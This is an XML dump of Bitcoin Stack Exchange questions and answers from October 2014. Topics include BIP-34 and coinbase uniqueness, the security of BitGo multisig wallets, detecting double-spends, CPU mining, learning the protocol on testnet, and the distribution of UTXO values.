/>
  <row Id="30765" PostTypeId="2" ParentId="30764" CreationDate="2014-10-01T21:34:55.320" Score="0" Body="&lt;p&gt;adding height guarantees unique block hashes with the probability 1 - 1/(2&lt;sup&gt;256&lt;/sup&gt;) which is very close to 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;different coinbase scripts produce different merkle root which produce different block hashes&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-10-01T21:34:55.320" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="30767" PostTypeId="2" ParentId="30763" CreationDate="2014-10-01T22:04:04.730" Score="1" Body="&lt;p&gt;The blockchain is used for more than just storage of data. To store data, all you need is a harddrive of some sort. What kind of things would you like to be able to do with this 'medical blockchain'? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that in general, everything medical would be considered confidential, so even if it could be stored in a blockchain, no one would want to. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-01T22:04:04.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30768" PostTypeId="2" ParentId="30764" CreationDate="2014-10-01T23:46:57.360" Score="3" Body="&lt;p&gt;It doesn't guarantee that block hashes are unique, because that was already guaranteed, because the previous block hash is part of the block header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does guarantee that coinbase transactions will be unique.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-10-20T16:59:17.710" LastActivityDate="2014-10-20T16:59:17.710" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="30770" PostTypeId="2" ParentId="30750" CreationDate="2014-10-01T23:53:07.770" Score="0" Body="&lt;p&gt;Yes bitcoind filters double-spends. I am not aware of anything that can listen and detect double-spends. I too would be interested in this. I would imagine that a simple tool would be needed which just detects double-spends. You could then do as you wish with the tx ID and notify an existing payment application.&lt;/p&gt;&#xA;" OwnerUserId="19550" LastActivityDate="2014-10-01T23:53:07.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30772" PostTypeId="2" ParentId="30763" CreationDate="2014-10-02T07:03:29.090" Score="1" Body="&lt;p&gt;No. The cost of storing information in decentralized technologies is larger than in centralized.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-10-02T07:03:29.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30773" PostTypeId="1" AcceptedAnswerId="30776" CreationDate="2014-10-02T07:25:21.407" Score="9" ViewCount="2060" Body="&lt;p&gt;Recently, after I was reading that some bitcoin early adopter &lt;a href=&quot;http://www.coindesk.com/early-bitcoin-adopter-calls-multi-sig-solutions-750-btc-theft/&quot; rel=&quot;noreferrer&quot;&gt;lost 750 BTC due to theft&lt;/a&gt; from his macbook, I was looking for the most secure storage solution for my coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already know about paper wallets and cold storage solutions but I somehow came across reading about multisignature online wallets being more secure than the traditional systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across &lt;a href=&quot;http://bitgo.com&quot; rel=&quot;noreferrer&quot;&gt;BitGo.com&lt;/a&gt; and they claim to be more secure than paper/cold storage but as easy to use like an online/mobile wallet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ZCyt.png&quot; alt=&quot;bitgo easy and secure?&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this really possible? I was doing some research myself and learned they are using multisignature wallets with three private keys:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;One encrypted private key holds BitGo with a passphrase only known by them.&lt;/li&gt;&#xA;&lt;li&gt;Another encrypted private key holds BitGo with a passphrase chosen by me.&lt;/li&gt;&#xA;&lt;li&gt;One encrypted backup key which only I hold with my own passphrase.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now there are several use cases, I tried to deposit and withdraw some small amounts, and it's really easy. It seems they use their key on server side an my key on client side to sign the transaction. All I have to do is entering my passphrase to unlock the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, if BitGo ever ceases to exist I can still use my own two keys to access the coins without using the service offered by BitGo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, to be honest, this sounds to good to be true. Now I'm wondering:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a way BitGo (or an attacker who compromises BitGo) can access my funds because they hold two keys? Or is this really trustless because all depends on my passphrase?&lt;/li&gt;&#xA;&lt;li&gt;Isn't entering my key's passphrase at their website a weak point which could be abused by attackers (or even the service)? Or is my password really only processed client-side?&lt;/li&gt;&#xA;&lt;li&gt;Is such a solution really more secure than cold storages?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2014-10-02T12:15:21.727" Title="How can an online wallet be more secure than paper wallets or cold storages?" Tags="|security|multi-signature|e-wallet|paper-wallet|coldstorage|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30775" PostTypeId="2" ParentId="30773" CreationDate="2014-10-02T11:59:06.530" Score="1" Body="&lt;p&gt;You're right that multi-signature is more secure than trusting your BTC to &lt;em&gt;anyone with access to the private keys (or n of m majority)&lt;/em&gt;. If you don't control the private keys &lt;strong&gt;you don't control your money&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Bitgo is offering a solution, which as you describe it, &lt;em&gt;is&lt;/em&gt; problematic in that trust of Bitgo is required. All Bitgo is doing is simplifying the complexities of multisig storage/transactions. Wallet providers like &lt;a href=&quot;http://greenaddress.it&quot; rel=&quot;nofollow&quot;&gt;GreenAddress.it&lt;/a&gt; employ the &lt;code&gt;n-timelock&lt;/code&gt; variable which makes the multisig txn in question (ie the hash) invalid until a certain number (n) of ~10min blocks elapses (Bitgo may or may not employ &lt;code&gt;n-timelock&lt;/code&gt;); this essentially makes it possible to retrieve your BTC after n blocks have elapsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for security of your BTC, there's several options which each have their merits&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Hardware wallets (eg Trezor)&lt;/li&gt;&#xA;&lt;li&gt;Armory &quot;Lock Boxes&quot; (generally assumed to be the best for multisig txns)&lt;/li&gt;&#xA;&lt;li&gt;Paper wallets on an air-gapped machine (ie offline)&lt;/li&gt;&#xA;&lt;li&gt;HD (Hierarchical Deterministic) wallets such as Armory, Electrum&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-02T11:59:06.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30776" PostTypeId="2" ParentId="30773" CreationDate="2014-10-02T12:10:50.123" Score="5" Body="&lt;p&gt;I tested it by creating a secure wallet on BitGo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They gave a multisig address for deposits. 2/3 of keys are needed to withdraw Bitcoins. BitGo holds one key, you get private key and backup key.&#xA;You don't need to printed private key to withdraw Bitcoins. the passphrase is enough (apparently the key is derived form the passphrase).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitGo cannot do Bitcoin transactions without user consent, because they (claim to) lack the other halves of the key. This protects againt some attacks. E.g. the site doesn't have a hot wallet which could be emptied if there is a breach on the server.  BitGo forces SMS two-factor authentication to be activated upon sign up. This is good too, protecting against lose of credentials due to stealing or phishing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the BitGo infrastructure gets compromised all created wallets after the compromise are compromised too, as the attack can capture keys upon creation. So ultimately you are placing trust on BitGo. They could also blatantly lie you and hold all copies of the created keys, as they are creating the keys, not you. Even if the key creation happens in a web browser using JavaScript you are trusting the code they give you to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitGo is still an online site. If you store your passphrase in a password manager or web browser and your computer gets infected you can lose your Bitcoins, even without interaction from you. BitGo is also subject &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/30335/is-the-threat-of-computer-malware-to-s&quot;&gt;to malware attacks which modify the withdraw requests in-fly&lt;/a&gt;. However &quot;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/2573rw/bitcoin_is_secure_because_it_solves_the_byzantine/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the mad general problem&lt;/a&gt;&quot; cannot be solved if you are not doing any checks outside the online world e.g. manual phone calls and confirming by voice. You always need to trust the device you are using to do the withdraws.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitGo has a nice process and good instructions how to create a multisig wallet and they are also holding a third key themselves, which you can access through password and SMS confirmation. You could create a similar set up yourself, even in safer manner, but BitGo may save you from some hassle. BitGo is also safer than any Bitcoin wallet service where you hold no private keys at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The conclusion: lots of marketing promises, ultimately an online site, but may be safer than your average Bitcoin wallet service. You need to trust BitGo. &lt;strong&gt;Not safer than your own cold wallet / multisig solution&lt;/strong&gt; if you know what you are doing.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-10-02T12:10:50.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30777" PostTypeId="2" ParentId="30773" CreationDate="2014-10-02T12:15:21.727" Score="2" Body="&lt;p&gt;Security of BitGo is similar to that of hosted wallets. While they don't normally have access to both of your keys, they can always serve Javascript which will send your password to their server. On the other hand, if there is malware on your computer, even if it can't get your backup key, it can still make transactions on your behalf (if 2FA is required for every transaction, malware can just replace the destination address when you make a &lt;em&gt;real&lt;/em&gt; transaction). So BitGo is definitely not as secure as an offline wallet, and you can have your bitcoins stolen via server compromise.&lt;/p&gt;&#xA;" OwnerUserId="19476" LastActivityDate="2014-10-02T12:15:21.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30779" PostTypeId="1" CreationDate="2014-10-02T15:14:16.507" Score="0" ViewCount="348" Body="&lt;p&gt;When I go to send coins, I want the transaction to ignore the unspent coins in a certain account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I can do this in wallet.cpp, but I'm not sure how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe in the AvailableCoins() function? Make it continue if the coins are in this account? I guess I need to create a function like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool isInAccount(string strAccountName, CWalletTx *wtx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="10229" LastEditorUserId="2306" LastEditDate="2014-12-02T23:15:19.883" LastActivityDate="2014-12-02T23:15:19.883" Title="How to tell which account an unspent output is in?" Tags="|transactions|wallet|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30780" PostTypeId="2" ParentId="30764" CreationDate="2014-10-02T16:08:47.267" Score="6" Body="&lt;p&gt;In their comment @amaclin pointed to &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0030.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP-30&lt;/a&gt; which provides motivation for &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP-34&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I still don't understand what is &amp;quot;to better reason about plausible difficulty for not-yet-connected blocks&amp;quot; but it seems that the sole point of BIP-34 is to prevent &lt;em&gt;intentional&lt;/em&gt; creation of duplicate coinbase transactions.&lt;/p&gt;&#xA;&lt;p&gt;According BIP-30 they can be used in several attacks:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Recently, an attack that exploits the reference implementation's dealing with duplicate transactions was described and demonstrated. It allows reverting fully-confirmed transactions to a single confirmation, making them vulnerable to become unspendable entirely. Another attack is possible that allows forking the block chain for a subset of the network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This &lt;a href=&quot;https://bitcoin.stackexchange.com/a/5905/5935&quot;&gt;answer&lt;/a&gt; by Pieter Wuille explains blockchain forking in more detail.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Contrary to the explanation in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/1526&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP-34 pull request&lt;/a&gt;, adding block height to coinbase does not guarantee that every subsequent transaction hash is unique. It only makes harder to create transactions with same hash intentionally. There is still possibility that some unrelated transactions will clash.&lt;/p&gt;&#xA;" OwnerUserId="5935" LastEditorUserId="5935" LastEditDate="2022-02-17T05:45:26.570" LastActivityDate="2022-02-17T05:45:26.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30781" PostTypeId="2" ParentId="30779" CreationDate="2014-10-02T16:19:39.600" Score="0" Body="&lt;p&gt;Are you looking to be able to do this with the bitcoin daemon? You might check out the &lt;pre&gt;getaccount&lt;/pre&gt; RPC call. The help for this method is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;getaccount &quot;bitcoinaddress&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Returns the account associated with the given address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arguments:&#xA;1. &quot;bitcoinaddress&quot; (string, required) The bitcoin address for account lookup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result: &quot;accountname&quot; (string) the account address&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Examples:&#xA;&gt; bitcoin-cli getaccount &quot;1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XZ&quot;&#xA;&gt; curl --user myusername --data-binary '{&quot;jsonrpc&quot;: &quot;1.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;getaccount&quot;, &quot;params&quot;: [&quot;1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XZ&quot;] }' -H 'content-type: text/plain;' http://localhost:8332/&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-02T16:19:39.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30783" PostTypeId="1" CreationDate="2014-10-02T18:46:06.237" Score="1" ViewCount="185" Body="&lt;p&gt;In the answer to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/30750/accepting-0-confirmation-transactions-and-detecting-double-spends-with-open-sour&quot;&gt;this question&lt;/a&gt; it is stated the bitcoind filters doublespends. What is the reasoning behind this?&lt;/p&gt;&#xA;" OwnerUserId="9654" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-10-02T19:42:57.870" Title="Why are double-spends bad?" Tags="|bitcoind|doublespend|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2014-10-03T16:13:46.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="30784" PostTypeId="2" ParentId="4974" CreationDate="2014-10-02T19:42:57.870" Score="1" Body="&lt;p&gt;If everyone could spend the same Bitcoin twice, then the whole system would collapse because Bitcoins would not be scarce.&lt;/p&gt;&#xA;" OwnerUserId="10229" LastActivityDate="2014-10-02T19:42:57.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30785" PostTypeId="2" ParentId="30737" CreationDate="2014-10-02T20:12:45.913" Score="1" Body="&lt;p&gt;Miners have the option to include or not include any given transaction in a block. If a particular account (or accounts) is attempting to make a large number of low-value transactions, miners could choose to not include transactions from that address in their blocks. Or, they could rate-limit senders of very small amounts.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-10-02T20:12:45.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30787" PostTypeId="2" ParentId="2680" CreationDate="2014-10-03T00:44:20.340" Score="2" Body="&lt;p&gt;Quandl has many bitcoin data sets.  &lt;a href=&quot;https://www.quandl.com/c/markets/bitcoin-data&quot; rel=&quot;nofollow&quot;&gt;Here is a collections page of them&lt;/a&gt;.  On top of that , it has almost any other time series data you can imagine:  Everything from Stocks, fundamentals to diabetes and fertility rates.  What I love is that there is one easy API to access all of this data, so it is very easy to cross-compare the data sets  There's also an Excel tool if programming is not what interests you.&lt;/p&gt;&#xA;" OwnerUserId="19564" LastActivityDate="2014-10-03T00:44:20.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30788" PostTypeId="1" AcceptedAnswerId="30789" CreationDate="2014-10-03T02:58:04.933" Score="1" ViewCount="587" Body="&lt;p&gt;OK, firstly, Ken Sheriff (the guy who &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/2hpoor/mining_bitcoin_with_pencil_and_paper_067_hashes/&quot; rel=&quot;nofollow&quot;&gt;mined Bitcoin using pencil and paper&lt;/a&gt;) has posted some &lt;a href=&quot;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&quot; rel=&quot;nofollow&quot;&gt;fantastic Bitcoin articles&lt;/a&gt; on &lt;a href=&quot;http://www.righto.com/&quot; rel=&quot;nofollow&quot;&gt;his blog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &quot;&lt;a href=&quot;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&quot; rel=&quot;nofollow&quot;&gt;Using Bitcoins the Hard Way&lt;/a&gt;&quot; he writes (emphasis added):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It turns out that actually using the Bitcoin protocol is harder than I&#xA;  expected. As you will see, the protocol is a bit of a jumble: it uses&#xA;  big-endian numbers, little-endian numbers, fixed-length numbers,&#xA;  variable-length numbers, custom encodings, DER encoding, and a variety&#xA;  of cryptographic algorithms, seemingly arbitrarily. As a result,&#xA;  &lt;strong&gt;there's a lot of annoying manipulation to get data into the right&#xA;  format&lt;/strong&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The second complication with using the protocol directly is that being&#xA;  cryptographic, it is very unforgiving. &lt;strong&gt;If you get one byte wrong, the&#xA;  transaction is rejected with no clue as to where the problem is&lt;/strong&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The final difficulty I encountered is that the process of signing a&#xA;  transaction is much more difficult than necessary, with a lot of&#xA;  details that need to be correct. In particular, &lt;strong&gt;the version of a&#xA;  transaction that gets signed is very different from the version that&#xA;  actually gets used&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Obviously working through Ken's Python files helps to understand the varying instances of appending bytes, changing endianness and the various other complicated procedures used for sending a transaction in raw hex. Likewise, the following are useful:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;Protocol Specification @ Bitcoin Wiki&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.royalforkblog.com/2014/08/11/graphical-address-generator/&quot; rel=&quot;nofollow&quot;&gt;Graphical Address Generator @ RoyalFork&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/gferrin/bitcoin-code&quot; rel=&quot;nofollow&quot;&gt;Ken Sheriff's Python code&lt;/a&gt; used in association with &lt;a href=&quot;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question: how does one go about learning the Bitcoin protocol by practising with the Testnet?&lt;/strong&gt; (What resources are recommended to help formulate a raw transaction to send over the Bitcoin (Testnet) network?)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-03T03:56:43.787" Title="Understanding Bitcoin protocol (through practice)" Tags="|transactions|protocol|raw-transaction|raw-data|learning|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30789" PostTypeId="2" ParentId="30788" CreationDate="2014-10-03T03:56:43.787" Score="1" Body="&lt;p&gt;Bitcoin protocol is VERY simple. You haven't to read tons of manuals and study for years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My point of view is (answrering your question) :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Write down on the piece of paper what you want to do.&lt;/li&gt;&#xA;&lt;li&gt;Take your preferrable programming language (C++/Python/Delphi/Java/whatever)&lt;/li&gt;&#xA;&lt;li&gt;Use internet sources only as referal information. Do not copy-paste&#xA;large pieces&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of course, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;USE TESTNET FOR EXPERIMENTS! NOT THE MAIN NETWORK!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-10-03T03:56:43.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30790" PostTypeId="2" ParentId="29493" CreationDate="2014-10-03T05:03:35.003" Score="0" Body="&lt;p&gt;I had the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out my problem was my gridseed blades had hotplug=1 set which was interfering. Pointing each to the direct usb port fixed it&lt;/p&gt;&#xA;" OwnerUserId="19036" LastActivityDate="2014-10-03T05:03:35.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30791" PostTypeId="1" CreationDate="2014-10-03T08:03:02.947" Score="-1" ViewCount="4185" Body="&lt;p&gt;My PC details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Processor:             Intel(R) Core(TM)2 Duo CPU T8300 @ 2.4GHz 2.4GHz&#xA;Installed Memory(RAM): 4GB DRAM&#xA;Video Card GPU: Mobile Intel(R) 965 Express Chipset Family&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please tell me what is the fastest btc miner I can use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&#xA;Joseph Omondi Odhiambo&lt;/p&gt;&#xA;" OwnerUserId="19569" LastEditorUserId="120" LastEditDate="2016-04-10T15:28:58.797" LastActivityDate="2016-04-10T15:28:58.797" Title="Is it possible to mine with core duo cpu 2.4 ghz?" Tags="|mining-pools|mining-profitability|" AnswerCount="1" CommentCount="0" ClosedDate="2014-10-03T18:50:26.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="30792" PostTypeId="2" ParentId="30791" CreationDate="2014-10-03T09:16:33.237" Score="6" Body="&lt;p&gt;Mine Bitcoin? Absolutely not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At current difficulty you'd need almost 16 million years to mine a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only profitable mining operations are using what are called ASICs (Application Specific Integrated Circuits). These devices use the SHA256 hash algorithm starting at 1Ghash/sec (compared to maybe 50000-100000 hash/sec on a CPU. Not kHash, but hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some &quot;Altcoins&quot; utilise algorithms less amendable   To ASICs but still require high end GPU video cards. Even the Scrypt algorithm Litecoin uses is mined by ASICs now. There are algorithms which can be mined by CPU like Scrypt-n but even these use CPU/GPU combination mining I believe.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-03T09:16:33.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30793" PostTypeId="1" AcceptedAnswerId="35414" CreationDate="2014-10-03T09:44:40.563" Score="4" ViewCount="340" Body="&lt;p&gt;I am working on a simulation to explore the usefulness of a patch for the &lt;a href=&quot;https://bitcoin.stackexchange.com/a/29962/5406&quot;&gt;CoinSelection&lt;/a&gt; behaviour of BitcoinCore. To that end, I am looking for statistics on the distribution of unspent outputs respective to their value in satoshi. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I haven't found much on the topic beside an outdated &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3524/5406&quot;&gt;number of unspent transaction outputs&lt;/a&gt;, as likely search terms collide with a lot of unrelated topics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any papers or other sources that discuss:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can one realistically model the distribution of the value (in satoshi) of all UTXO (unspent transaction outputs)? &lt;/li&gt;&#xA;&lt;li&gt;What type of curve best approximates the distribution?&lt;/li&gt;&#xA;&lt;li&gt;What are mean, standard deviation, and variance of the network's UTXOs' values?&lt;/li&gt;&#xA;&lt;li&gt;Bonus: How did the distribution of UTXO' values change over time?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Clarification: I am interested in modelling the number of satoshi held in UTXO.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-02-09T21:18:35.337" Title="How can one realistically model the distribution of the network's unspent transaction outputs?" Tags="|academic-research|utxo|" AnswerCount="1" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30794" PostTypeId="5" CreationDate="2014-10-03T11:31:59.010" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-10-03T11:31:59.010" LastActivityDate="2014-10-03T11:31:59.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30795" PostTypeId="4" CreationDate="2014-10-03T11:31:59.010" Score="0" Body="Questions about the key selling points of Bitcoin and related crypto-currencies. Essentially, encompassing questions about anything that would be used in an elevator pitch on Bitcoin. " OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-10-03T11:31:59.010" LastActivityDate="2014-10-03T11:31:59.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30796" PostTypeId="1" AcceptedAnswerId="30803" CreationDate="2014-10-03T11:35:14.203" Score="1" ViewCount="299" Body="&lt;p&gt;I am working on an app which uses bitcoinj. I want to implement export/import functionality to a standard format which can be shared with as many as possible wallet apps.&#xA;Is there a standard format used by wallet apps?&lt;/p&gt;&#xA;" OwnerUserId="19205" LastActivityDate="2014-10-03T12:53:11.323" Title="How to export bitcoinj wallet" Tags="|bitcoinj|private-key-export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30797" PostTypeId="5" CreationDate="2014-10-03T12:21:41.997" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-10-03T12:21:41.997" LastActivityDate="2014-10-03T12:21:41.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30798" PostTypeId="4" CreationDate="2014-10-03T12:21:41.997" Score="0" Body="Integrating Bitcoin payment processing into websites." OwnerUserId="5406" LastEditorUserId="13866" LastEditDate="2023-05-11T14:59:28.413" LastActivityDate="2023-05-11T14:59:28.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30799" PostTypeId="5" CreationDate="2014-10-03T12:27:01.300" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-10-03T12:27:01.300" LastActivityDate="2014-10-03T12:27:01.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30800" PostTypeId="4" CreationDate="2014-10-03T12:27:01.300" Score="0" Body="Building, compiling, installing and debugging Bitcoin-Qt the easy-to-use windowed program that is the main program in the Bitcoin-Core application." OwnerUserId="5406" LastEditorUserId="13866" LastEditDate="2023-05-11T14:37:03.237" LastActivityDate="2023-05-11T14:37:03.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30801" PostTypeId="5" CreationDate="2014-10-03T12:29:23.207" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-10-03T12:29:23.207" LastActivityDate="2014-10-03T12:29:23.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30802" PostTypeId="4" CreationDate="2014-10-03T12:29:23.207" Score="0" Body="For questions concerned with the physical setup of mining hardware including power supply and heat dissipation." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-03-17T14:27:32.333" LastActivityDate="2016-03-17T14:27:32.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30803" PostTypeId="2" ParentId="30796" CreationDate="2014-10-03T12:53:11.323" Score="0" Body="&lt;p&gt;Well exporting the raw keys is as standard as you'll get. Different wallet implement their own file format for storing information such as addresses, and keys. But most wallet have at least an &quot;import private key&quot; functionality so that would work.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-10-03T12:53:11.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
